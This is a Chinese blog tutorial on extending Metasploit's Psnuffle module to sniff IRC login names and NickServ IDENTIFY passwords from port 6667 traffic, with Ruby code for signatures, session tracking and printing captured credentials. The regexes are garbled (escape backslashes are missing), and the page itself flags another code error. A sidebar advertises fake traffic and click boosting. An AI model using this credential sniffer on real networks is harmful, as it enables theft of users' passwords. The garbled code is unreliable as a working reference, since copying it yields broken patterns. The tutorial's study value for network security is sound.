Metasploit 扩展Psnuffle

扩展Psnuffle来嗅探其他协议

由于其模块化设计,Psnuffle很容易扩展。本部分将指导开发IRC(Internet Relay Chat)协议嗅探器(Notify和Nick消息)的过程。

 

data / exploits / psnuffle

一、模块位置

所有不同的模块都位于data / exploits / psnuffle中。这些名称与psnuffle中使用的协议名称相对应。为了开发我们自己的模块,我们将现有pop3嗅探器模块的重要部分作为模板。

self.sigs = {
:ok => /^(+OK[^n]*)n/si,
:err => /^(-ERR[^n]*)n/si,
:user => /^USERs+([^n]+)n/si,
:pass => /^PASSs+([^n]+)n/si,
:quit => /^(QUITs*[^n]*)n/si }

上面代码定义了在嗅探过程中用于识别有趣数据的表达模式。正则表达式在开始时看起来很奇怪,但非常强大。总之,()中的所有内容都将在后面的脚本中的变量中可用。

 

二、定义我们自己的psnuffle模块

self.sigs = {
:user => /^(NICKs+[^n]+)/si,
:pass => /b(IDENTIFYs+[^n]+)/si,}

对于IRC,这部分看起来像上面那个。并非所有的nickservers都使用IDENTIFY来发送密码,但是Freenode上的那个。

 

三、会话定义(Session)

对于每个模块,我们首先必须定义它应该处理的端口以及应该如何跟踪会话。

return if not pkt[:tcp] # We don't want to handle anything other than tcp
return if (pkt[:tcp].src_port != 6667 and pkt[:tcp].dst_port != 6667) # Process only packet on port 6667

#Ensure that the session hash stays the same for both way of communication
if (pkt[:tcp].dst_port == 6667) # When packet is sent to server
s = find_session("#{pkt[:ip].dst_ip}:#{pkt[:tcp].dst_port}-#{pkt[:ip].src_ip}:#{pkt[:tcp].src_port}")
else # When packet is coming from the server
s = find_session("#{pkt[:ip].src_ip}:#{pkt[:tcp].src_port}-#{pkt[:ip].dst_ip}:#{pkt[:tcp].dst_port}")
end

 

既然我们有一个唯一整合信息的会话对象,我们可以继续处理与之前定义的正则表达式匹配的数据包内容。

case matched
when :user # when the pattern "/^(NICKs+[^n]+)/si" is matching the packet content
s[:user]=matches #Store the name into the session hash s for later use
# Do whatever you like here... maybe a puts if you need to
when :pass # When the pattern "/b(IDENTIFYs+[^n]+)/si" is matching
s[:pass]=matches # Store the password into the session hash s as well
if (s[:user] and s[:pass]) # When we have the name and the pass sniffed, print it
print "-> IRC login sniffed: #{s[:session]} >> username:#{s[:user]} password:#{s[:pass]}n"
end
sessions.delete(s[:session]) # Remove this session because we dont need to track it anymore
when nil
# No matches, don't do anything else # Just in case anything else is matching...
sessions(s(:session)).merge!({k => matches}) # Just add it to the session object
end

注意:上述代码中倒数第二行sessions(s(:session))中的()请换成[]

    A+
发布日期:2018年05月11日 09:39:54  所属分类:Metasploit
最后更新时间:2018-05-11 09:46:18
评分: (2 票;平均数5.00 ;最高评分 5 ;用户总数2;总得分 10;百分比100.00)
付杰
服务器管理面板/主机控制面板“安装”服务
服务器管理面板/主机控制面板“安装”服务
  • ¥ 9.9元
  • 市场价:49.9元
wp discux 帝国 dedecms phpcms等快速建站
wp discux 帝国 dedecms phpcms等快速建站
  • ¥ 99.9元
  • 市场价:499.9元
花牛苹果 甘肃天水 李宏恩家自种 1斤 包邮
花牛苹果 甘肃天水 李宏恩家自种 1斤 包邮
  • ¥ 6.8元
  • 市场价:8.8元
刷流量 刷人气 刷点击 刷收藏 刷APP关键词
刷流量 刷人气 刷点击 刷收藏 刷APP关键词
  • ¥ 1.0元
  • 市场价:9.9元

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen:

目前评论:1   其中:访客  1   博主  0

  1. 头像 a 0

    不错,学习了!虽然看不懂!